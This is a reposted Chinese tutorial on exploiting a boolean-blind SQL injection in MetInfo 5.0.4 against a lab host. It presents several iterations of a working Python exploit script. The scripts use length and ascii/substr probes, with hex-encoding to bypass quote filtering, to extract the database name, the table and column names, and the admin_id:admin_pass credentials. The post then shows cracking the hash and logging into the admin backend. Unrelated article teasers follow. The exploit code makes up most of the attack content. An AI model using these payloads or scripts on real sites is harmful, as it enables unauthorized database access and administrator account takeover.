metinfo_5.0.4 EXP Python脚本编写

news2024/12/23 0:42:13

文章目录

    • metinfo_5.0.4EXP编写
      • SQL注入漏洞

metinfo_5.0.4EXP编写

SQL注入漏洞

漏洞点:/about/show.php?lang=cn&id=22

http://10.9.75.142/metInfo_5.0.4/about/show.php?lang=cn&id=22

image-20230922173826857

验证漏洞(数字型注入)

状态码区分正确与错误

做比较的时候不能采用单引号进行比较,要采用大小余号,ASCII进行编码

image-20230922175634001

我们看到页面正常

image-20230922175714610

页面不正常,说明此处为数字型注入,且存在布尔盲注漏洞。

我们拿sqlmap跑一下:

python .\sqlmap.py -u "http://10.9.75.142/metInfo_5.0.4/about/show.php?lang=cn&id=22"

image-20230922174839385

发现只检测出了延时注入,而没有检测出存在布尔盲注,而延时注入的成本要比布尔盲注的成本要高许多,所以我们就可以自己写一个布尔盲注脚本。

布尔盲注脚本编写

# metinfo_5.0.4_sqli-boolean.py

'''
http://10.9.75.142/metInfo_5.0.4/about/show.php?lang=cn&id=22


'''
import requests
import string
import base64
from termcolor import colored

url="http://10.9.75.142/metInfo_5.0.4/about/show.php?lang=cn&id=22"

i=0


while True:
    i+=1
    
    # 获取数据库名称的长度:通过构造 payload ,将 i 的值逐渐增加,并拼接到 URL 中,发送请求。如果返回的页面内容中不包含 "../404.html" ,则表示查询成功,获取到了数据库名称的长度,将其保存在变量 sql_name_length 中。
    payload= f" and length((select database()))={i} --+" # 获取数据库名的长度时使用
    
    # 获取数据库所有表名的长度:通过构造 payload ,将 i 的值逐渐增加,并拼接到 URL 中,发送请求。如果返回的页面内容中不包含 "../404.html" ,则表示查询成功,获取到了所有表名的长度。
    payload= f" and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))={i} --+"  # 获取数据库所有表名时使用
    
    #print(payload)
    
    full_url=url+payload
    print(full_url)

    res=requests.get(url=full_url)

    if "../404.html" not in res.text:
        sql_name_length=i
        print(f"[*] The length is {i}")
        break



# string.printable 是一个内置字符串常量,包含了 ASCII 字符集中的所有可打印字符。
# strip() 是 Python 内置的字符串方法之一,它的作用是去除字符串的头尾指定字符(默认为空格字符)。
# 因为string.prinable 的最后的几个字符是空格、制表符、换行符等不可打印字符。因为在进行 SQL 注入时,只需要使用可打印字符,所以需要使用 strip() 方法将不可打印字符去除。
c_set= string.printable.strip()

sql_name=""

#  获取数据库名
for b in range(sql_name_length):

    for c in c_set:
        payload=f" and ascii(substr((select database()),{b+1},1))={ord(c)} -- "  # 获取数据库名时使用,ord.c 表示转换为ascii码
        payload=f" and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{b+1},1))={ord(c)} -- "  # 获取数据库所有表名时使用
        # print(payload)

        full_url=url+payload

        res=requests.get(url=full_url)

        if "../404.html" not in res.text:
            sql_name+=c
            print(colored(f"[*] The sqlname is {sql_name}","green"))
            break

'''
    DATABASE:
        metinfo_504
        
    table_name:
        met_admin_column,met_admin_table,met_app,met_column,met_config,met_cv,met_download,
        met_feedback,met_flash,met_flist,met_img,met_index,met_job,met_label,met_lang,met_link,
        met_list,met_message,met_news,met_online,met_otherinfo,met_parameter,met_plist,met_product,
        met_skin_table,met_sms,met_visit_day,met_visit_detail,met_visit_summary
'''

说明:

代码进入一个嵌套循环,外层循环遍历数据库名称的每个字符位置,内层循环遍历在 ASCII 可打印字符集(string.printable)中的每个字符。在每次循环中,代码构造一个 payload 用于获取数据库名称和所有表名的字符。具体步骤如下:

  1. 获取数据库名称的字符:通过构造 payload=f" and ascii(substr((select database()),{b+1},1))={ord(c)} -- " ,将字符位置 (b+1) 和字符的 ASCII 值 (ord(c)) 插入到 payload 中,发送请求。如果返回的页面内容中不包含 “…/404.html” ,则表示查询成功,获取到了数据库名称的字符,将其添加到变量 sql_name 中。
  2. 获取数据库所有表名的字符:通过构造 payload=f" and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{b+1},1))={ord(c)} -- " ,将字符位置 (b+1) 和字符的 ASCII 值 (ord(c)) 插入到 payload 中,发送请求。如果返回的页面内容中不包含 “…/404.html” ,则表示查询成功,获取到了所有表名的字符。

执行结果:

image-20230922211732511

获取到表名之后,怎么拿到管理员账密,因为metinfo是一个出名的网站管理系统,我们可以通过百度搜一下他的数据库结构

image-20230922214225296

查到了账号和密码在met_admin_table表中,我们可以继续完善上面的脚本:

构造payload:

payload= f" and length((select group_concat(table_name) from information_schema.tables where table_name='met_admin_table'))>0"

在bp中进行测试:

image-20230922215240720

这里是因为单引号是不可以使用的,需要避免使用单引号,我们可以对其进行十六进制编码:

image-20230922215530028

再次测试:

image-20230922215817106

正常返回,这样payload就构造完成了。接下来构造脚本:

# metinfo_5.0.4_sqli-boolean.py

'''
http://10.9.75.142/metInfo_5.0.4/about/show.php?lang=cn&id=22


'''
import requests
import string
import base64
from termcolor import colored
import sys

banner='''
================================================================

      ____   _   _   _   _   ___ 
     / ___| | | | | | | | | |_ _|
    | |  _  | |_| | | | | |  | | 
    | |_| | |  _  | | |_| |  | | 
     \____| |_| |_|  \___/  |___|
                                 
                                    -- G_H_I

 Explain : In this case, the test is metinfo 5.0.4 sqli-boolean

================================================================

'''

print(colored(banner,"green"))

flag = input(colored(f"Could you want to continue?[Y/n]","red"))

if flag == "n":
    exit()


url= "http://10.9.75.142/metInfo_5.0.4/about/show.php?lang=cn&id=22"

i=0


while True:
    i+=1
    payload= f" and length((select database()))={i} --+" # 获取数据库名的长度时使用
    payload= f" and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))={i} --+"  # 获取数据库所有表名时使用
    payload= f" and length((select group_concat(column_name) from information_schema.columns where table_name=0x6d65745f61646d696e5f7461626c65))={i} --+"
    # print(payload)
    
    full_url=url+payload
    print(full_url)

    res=requests.get(url=full_url)

    if "../404.html" not in res.text:
        sql_name_length=i
        print(colored(f"[*] The length is {i}","red"))
        break




c_set= string.printable.strip()

sql_name=""



for b in range(sql_name_length):

    for c in c_set:
        payload=f" and ascii(substr((select database()),{b+1},1))={ord(c)} -- "  # 获取数据库名的长度时使用,ord.c 表示转换为ascii码
        payload=f" and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{b+1},1))={ord(c)} -- "  # 获取数据库所有表名时使用
        payload=f" and ascii(substr((select group_concat(column_name) from information_schema.columns where table_name=0x6d65745f61646d696e5f7461626c65),{b+1},1))={ord(c)} -- "
        # print(payload)

        full_url=url+payload

        res=requests.get(url=full_url)

        if "../404.html" not in res.text:
            sql_name+=c
            # print(colored(f"[*] The sqlname is {sql_name}","green"))
            print(colored(f"\r[*] The column_name is : {sql_name}","green"),end='') # end 是一个命名参数,用于指定在输出结束后要添加的字符,不添加 end 时,默认情况下是换行符 \n
            break

补充:

concatgroup_concat 都是 MySQL 数据库中的字符串聚合函数。它们的作用是把多个字符串值连接成一个字符串,并返回连接后的结果。

然而,两者有以下不同之处:

  1. concat 函数只能连接两个字符串,而 group_concat 函数可以连接多个字符串。
  2. concat 函数返回连接后的字符串结果,而 group_concat 函数返回所有连接后的字符串组成的一个字符串列表。

image-20230923104826474

我们得到了admin_id 和admin_pass,我们猜测这两个代表管理员账户和密码,我们接着完善脚本:

# metinfo_5.0.4_sqli-boolean.py

'''
http://10.9.75.142/metInfo_5.0.4/about/show.php?lang=cn&id=22

    得到数据库名的长度
     and length((select database()))=1 --+
    
    得到数据库名  
     and ascii(substr((select database()),1,1))=1 --+ 
    
    得到数据库所有表名的长度总和 
      and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))=1 --+ 

    得到数据库所有表名 
     and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))=1 --+

    得到met_admin_table表的所有列数  
     and length((select group_concat(column_name) from information_schema.columns where table_name=0x6d65745f61646d696e5f7461626c65))=1 --+
    
    得到met_admin_table表的所有字段
      and ascii(substr((select group_concat(column_name) from information_schema.columns where table_name=0x6d65745f61646d696e5f7461626c65),1,1))=1 --+ 

    获取met_admin_table表中的 admin_id和admin_pass 外加一个冒号分隔符的长度
     and length((select concat(admin_id,0x3a,admin_pass) from met_admin_table limit 0,1))=1 --+
    
    获取admin_id 和 admin_pass 的值
     and ascii(substr((select concat(admin_id,0x3a,admin_pass) from met_admin_table limit 0,1),1,1))=1 --+ 
'''

import requests
import string
import base64
from termcolor import colored
import sys

banner='''
================================================================

      ____   _   _   _   _   ___ 
     / ___| | | | | | | | | |_ _|
    | |  _  | |_| | | | | |  | | 
    | |_| | |  _  | | |_| |  | | 
     \____| |_| |_|  \___/  |___|
                                 
                                    -- G_H_I

 Explain : In this case, the test is metinfo 5.0.4 sqli-boolean

================================================================

'''

print(colored(banner,"green"))

flag = input(colored(f"Could you want to continue?[Y/n]","red"))

if flag == "n":
    exit()


url= "http://10.9.75.142/metInfo_5.0.4/about/show.php?lang=cn&id=22"

i=0


while True:
    i+=1
    payload= f" and length((select database()))={i} -- " # 获取数据库名的长度时使用
    payload= f" and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))={i} -- "  # 获取数据库所有表名时使用
    payload= f" and length((select group_concat(column_name) from information_schema.columns where table_name=0x6d65745f61646d696e5f7461626c65))={i} -- "
    payload= f" and length((select concat(admin_id,0x3a,admin_pass) from met_admin_table limit 0,1))={i} --+" # limit 0,1 :限制查询结果的行数为一行,从第 0 行开始,即第一行。
    # print(payload)
    
    full_url=url+payload
    # print(full_url)

    res=requests.get(url=full_url)

    if "../404.html" not in res.text:
        sql_name_length=i
        print(colored(f"[*] The length is {i}","green"))
        break


flag = input(colored(f"Could you want to continue?[Y/n]","red"))

if flag == "n":
    exit()

c_set= string.printable.strip()

sql_name=""



for b in range(sql_name_length):

    for c in c_set:
        payload=f" and ascii(substr((select database()),{b+1},1))={ord(c)} -- "  # 获取数据库名的长度时使用,ord.c 表示转换为ascii码
        payload=f" and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{b+1},1))={ord(c)} -- "  # 获取数据库所有表名时使用
        payload=f" and ascii(substr((select group_concat(column_name) from information_schema.columns where table_name=0x6d65745f61646d696e5f7461626c65),{b+1},1))={ord(c)} -- "
        payload=f" and ascii(substr((select concat(admin_id,0x3a,admin_pass) from met_admin_table limit 0,1),{b+1},1))={ord(c)} -- "
        # print(payload)

        full_url=url+payload

        res=requests.get(url=full_url)

        if "../404.html" not in res.text:
            sql_name+=c
            # print(colored(f"[*] The sqlname is {sql_name}","green"))
            print(colored(f"\r[*] The met_admin_table-column_name is : {sql_name}","green"),end='') # end 是一个命名参数,用于指定在输出结束后要添加的字符,不添加 end 时,默认情况下是换行符 \n
            break


执行结果:

image-20230923105443011

对得到的密文其进行解密:

image-20230923105548514

登录网站后台:

image-20230923105757804

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1036600.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

实现顺序表——实践报告

W...Y的主页 😊 代码仓库分享 💕 目录 一、实验目的: 二、实验内容: 三、实验要求: 四.实验步骤(给出每个函数的算法描述): 五.实验结果: 六.源代码 实验名称 &am…

【深度学习实验】前馈神经网络(五):自定义线性模型:前向传播、反向传播算法(封装参数)

目录 一、实验介绍 二、实验环境 1. 配置虚拟环境 2. 库版本介绍 三、实验内容 0. 导入必要的工具包 1. 线性模型Linear类 a. 构造函数__init__ b. __call__(self, x)方法 c. 前向传播forward d. 反向传播backward 2. 模型训练 3. 代码整合 一、实验介绍 实现线性…

【计算机网络】IP协议(下)

文章目录 1. 特殊的IP地址2. IP地址的数量限制3. 私有IP地址和公网IP地址私有IP为什么不能出现在公网上?解决方案——NAT技术的使用 4. 路由5. IP分片问题为什么要进行切片?如何做的分片和组装?16位标识3位标志13位片偏移例子 细节问题如何区…

一文带你玩转logo:含义、获取、使用以及2000多知名logo大图资源

大家好!logo是我们非常熟悉的一种事物,但是我发现很多场合的logo使用并不规范、高效,所以今天六分成长来带着大家了解一下关于logo的方方面面。 一、什么是logo? logo不是某一些英文单词的缩写,是一个完整的单词&…

uniapp如何判断是哪个(微信/APP)平台

其实大家在开发uniapp项目的时候长长会遇到这样一个问题,就是针对某些小程序,没发去适配相关的功能,所以要针对不同的平台,进行不同的处理。 #ifdef : if defined 仅在某个平台编译 #ifndef : …

机器学习实验一:使用 Logistic 回归来预测患有疝病的马的存活问题

代码: import pandas as pd import numpy as np from sklearn.preprocessing import StandardScaler from sklearn.linear_model import LogisticRegression from sklearn.metrics import classification_report import matplotlib.pyplot as plt def train(): # …

机器学习---神经元模型

1. 生物学的启示 神经元在结构上由细胞体、树突、轴突和突触四部分组成。 细胞体是神经元的主体,由细胞核、细胞质和细胞膜3部分组成。细胞体的外部是细胞膜,将 膜内外细胞液分开。由于细胞膜对细胞液中的不同离子具有不同的通透性,这使得膜…

XXE 漏洞及案例实战

文章目录 XXE 漏洞1. 基础概念1.1 XML基础概念1.2 XML与HTML的主要差异1.3 xml示例 2. 演示案例2.1 pikachu靶场XML2.1.1 文件读取2.1.2 内网探针或者攻击内网应用(触发漏洞地址)2.1.4 RCE2.1.5 引入外部实体DTD2.1.6 无回显读取文件 3. XXE 绕过3.1 dat…

【操作系统】线程、多线程

为什么要引入线程? 传统的进程只能串行的执行一系列程序,线程增加并发度。同一个进程分为多个线程。 线程是调度的基本单元,程序执行流的最小单位,基本的CPU执行单元。 进程是资源分配的基本单位。 线程的实现方式 用户级线程 代…

Unity入门教程(上)

七、运行游戏 再次保存我们的项目文件(返回步骤四)。保存完成后,让我们把游戏运行起来。 1,确认游戏视图标签页右上方的Maximize on Play图标处于按下状态,然后点击画面上方的播放按钮(位于工具栏中间的播…

C++类模板学习

之前已经学习了函数模板,在这里, C函数模板Demo - win32 版_c编写的opc da demo_bcbobo21cn的博客-CSDN博客 下面学习类模板; VC6; 做一个星星类,Star; Star.h; #if !defined(AFX_STAR_H_…

(十二)VBA常用基础知识:worksheet的各种操作之sheet移动

当前sheet确认 把sheet1移动到sheet3前边 Sub Hello()10Worksheets("Sheet1").Move Before:Worksheets("Sheet3") End Sub3. 把sheet2移动到sheet1后边 Sub Hello()11Worksheets("Sheet2").Move after:Worksheets("Sheet1") End Sub…

MissionPlanner编译过程

环境 windows 10 mission planner 1.3.80 visual studio 2022 git 2.22.0 下载源码 (已配置git和ssh) 从github上克隆源码 git clone gitgithub.com:ArduPilot/MissionPlanner.git进入根目录 cd MissionPlanner在根目录下的ExtLibs文件下是链接的其它github源码&#xff0…

pymysql简介以及安装

视频版教程 Python操作Mysql数据库之pymysql模块技术 前面基础课程介绍了使用文件来保存数据,这种方式虽然简单、易用,但只适用于保存一些格式简单、数据量不太大的数据。对于数据量巨大且具有复杂关系的数据,当然还是推荐使用数据库进行保存…

79、SpringBoot 整合 R2DBC --- R2DBC 就是 JDBC 的 反应式版本, R2DBC 是 JDBC 的升级版。

★ 何谓R2DBC R2DBC 就是 JDBC 的 反应式版本, R2DBC 是 JDBC 的升级版。 R2DBC 是 Reactive Relational Database Connectivity (关系型数据库的响应式连接) 的缩写 反应式的就是类似于消息发布者和订阅者,有消息就进行推送。R2DBC中DAO接口中方法的…

Rust vs C++ 深度比较

Rust由于其强大的安全性受到大量关注,被认为C在系统编程领域最强大的挑战者。本文从语言、框架等方面比较了两者的优缺点。原文: Rust vs C: An in-depth language comparison Rust和C的比较是开发人员最近的热门话题,两者之间有许多相似之处&#xff0c…

Linux复习-安装与熟悉环境(一)

这里写目录标题 虚拟机ubuntu系统配置镜像Linux命令vi编辑器3个模式光标命令vi模式切换命令vi拷贝与粘贴命令vi保存和退出命令vi的查找命令vi替换命令 末行模式复制、粘贴、剪切gcc编译器 虚拟机 VMware16 官网下载:vmware官网 网盘下载: 链接&#xff…

共享文件夹设置密码怎么做?3招轻松为文件上锁!

“我们小组里建了一个共享文件夹,为了安全起见,想给文件夹设置一个密码,但是不知道应该怎么操作,有没有大佬可以教教我呀!” 在我们的工作中,经常都会用到共享文件,这样可以让我们的工作方便快捷…

Jmeter接口测试

前言: 本文主要针对http接口进行测试,使用Jmeter工具实现。 Jmter工具设计之初是用于做性能测试的,它在实现对各种接口的调用方面已经做的比较成熟,因此,本次直接使用Jmeter工具来完成对Http接口的测试。 1.介绍什么是…

负载均衡技术全景:理论、实践与案例研究

在当今的互联网时代,随着用户数量的增长和业务规模的扩大,单一的服务器已经无法满足高并发、大流量的需求。为了解决这个问题,负载均衡技术应运而生。负载均衡可以将大量的网络请求分发到多个服务器上进行处理,从而提高系统的处理…